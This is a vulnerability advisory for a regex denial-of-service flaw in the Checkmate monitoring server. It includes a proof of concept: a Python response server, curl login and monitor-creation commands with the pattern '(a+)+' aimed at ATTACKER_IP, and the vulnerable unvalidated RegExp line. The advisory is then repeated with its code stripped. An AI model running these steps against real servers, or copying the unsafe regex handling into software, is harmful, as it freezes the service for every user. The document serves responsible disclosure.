Summary
An authenticated admin or superadmin can craft a monitor with a malicious regular expression in the expectedValue field (when matchMethod is "regex") that causes catastrophic backtracking when evaluated against the HTTP response body. Since the regex evaluation is synchronous on the Node.js main event loop with no timeout or worker thread isolation, a single malicious monitor can freeze the entire Checkmate server, making all API endpoints, monitor checks, and WebSocket connections unresponsive for all users.
Details
Root cause: The AdvancedMatcher class at server/src/service/infrastructure/network/AdvancedMatcher.ts line 15 constructs and evaluates a regular expression from user-supplied input with no validation of pattern complexity, length, or safety:
if (method === "regex") return new RegExp(expected).test(String(actual));
The expected parameter comes from the expectedValue field on the Monitor document (user-controlled via API). The actual parameter is the HTTP response body from the monitored URL (also attacker-controlled when URL points to attacker's server).
Taint path:
- Admin creates monitor via
POST /api/v1/monitors/ with useAdvancedMatching: true, matchMethod: "regex", expectedValue: "(a+)+", and url pointing to attacker server
- Validation (
monitorValidation.ts line 89) accepts expectedValue as z.string() with no max length or regex safety check
- Monitor stored in MongoDB and scheduled via in-process job queue (no worker threads)
- On each check cycle,
QueueHelper.ts line 136 calls networkService.requestStatus(monitor)
HttpProvider.ts line 83 calls advancedMatcher.validate(payload, monitor) where payload is the HTTP response body
AdvancedMatcher.ts line 15 executes new RegExp("(a+)+").test(String(actual)) synchronously
- If attacker's server returns 30 'a' characters, catastrophic backtracking (~2^30 operations) blocks the entire Node.js process
No mitigations exist: No timeout on regex execution, no re2 or safe-regex library, no regex complexity validation, no worker_threads isolation, no max length on expectedValue.
Affected commit: ce4cb63
PoC
Prerequisites: Authenticated admin or superadmin account.
# Step 1: Set up attacker response server (returns 30 'a' characters)
python3 -c "from http.server import *; class H(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200); self.send_header('Content-Type','text/plain'); self.end_headers()
self.wfile.write(b'a'*30)
HTTPServer(('0.0.0.0',9999),H).serve_forever()" &
# Step 2: Login as admin
TOKEN=$(curl -s -X POST http://localhost:52345/api/v1/auth/login -H 'Content-Type: application/json' -d '{"email":"admin@example.com","password":"AdminPass1!"}' | jq -r '.data.token')
# Step 3: Create malicious monitor with ReDoS regex
curl -s -X POST http://localhost:52345/api/v1/monitors/ -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' -d '{"type":"http","name":"redos-payload","url":"http://ATTACKER_IP:9999/","interval":60000,"useAdvancedMatching":true,"matchMethod":"regex","expectedValue":"(a+)+"}'
# Step 4: Verify server is frozen (will timeout)
curl -m 5 http://localhost:52345/api/v1/health
# Expected: Connection timeout - server is frozen
Negative case: Same monitor without useAdvancedMatching — server stays responsive, confirming the regex evaluation is the cause.
Impact
This allows an admin to cause complete denial of service for all users:
- Complete server freeze: A single regex evaluation blocks the Node.js event loop indefinitely
- All monitor checks stop: Every monitor for every user stops receiving checks
- All users affected: All teams sharing the same server instance are impacted
- Persistent attack: Malicious regex is stored in DB and re-executed on every check cycle
- Hard to diagnose: Server process appears healthy (port open) but never responds
CVSS 3.1: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
CWE: CWE-1333
Credits
- Thai Son Dinh from VinSOC Labs (R&D)
Summary
An authenticated admin or superadmin can craft a monitor with a malicious regular expression in the
expectedValuefield (whenmatchMethodis"regex") that causes catastrophic backtracking when evaluated against the HTTP response body. Since the regex evaluation is synchronous on the Node.js main event loop with no timeout or worker thread isolation, a single malicious monitor can freeze the entire Checkmate server, making all API endpoints, monitor checks, and WebSocket connections unresponsive for all users.Details
Root cause: The
AdvancedMatcherclass atserver/src/service/infrastructure/network/AdvancedMatcher.tsline 15 constructs and evaluates a regular expression from user-supplied input with no validation of pattern complexity, length, or safety:The
expectedparameter comes from theexpectedValuefield on the Monitor document (user-controlled via API). Theactualparameter is the HTTP response body from the monitored URL (also attacker-controlled when URL points to attacker's server).Taint path:
POST /api/v1/monitors/withuseAdvancedMatching: true,matchMethod: "regex",expectedValue: "(a+)+", andurlpointing to attacker servermonitorValidation.tsline 89) acceptsexpectedValueasz.string()with no max length or regex safety checkQueueHelper.tsline 136 callsnetworkService.requestStatus(monitor)HttpProvider.tsline 83 callsadvancedMatcher.validate(payload, monitor)where payload is the HTTP response bodyAdvancedMatcher.tsline 15 executesnew RegExp("(a+)+").test(String(actual))synchronouslyNo mitigations exist: No timeout on regex execution, no
re2or safe-regex library, no regex complexity validation, noworker_threadsisolation, no max length onexpectedValue.Affected commit: ce4cb63
PoC
Prerequisites: Authenticated admin or superadmin account.
Negative case: Same monitor without
useAdvancedMatching— server stays responsive, confirming the regex evaluation is the cause.Impact
This allows an admin to cause complete denial of service for all users:
CVSS 3.1: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
CWE: CWE-1333
Credits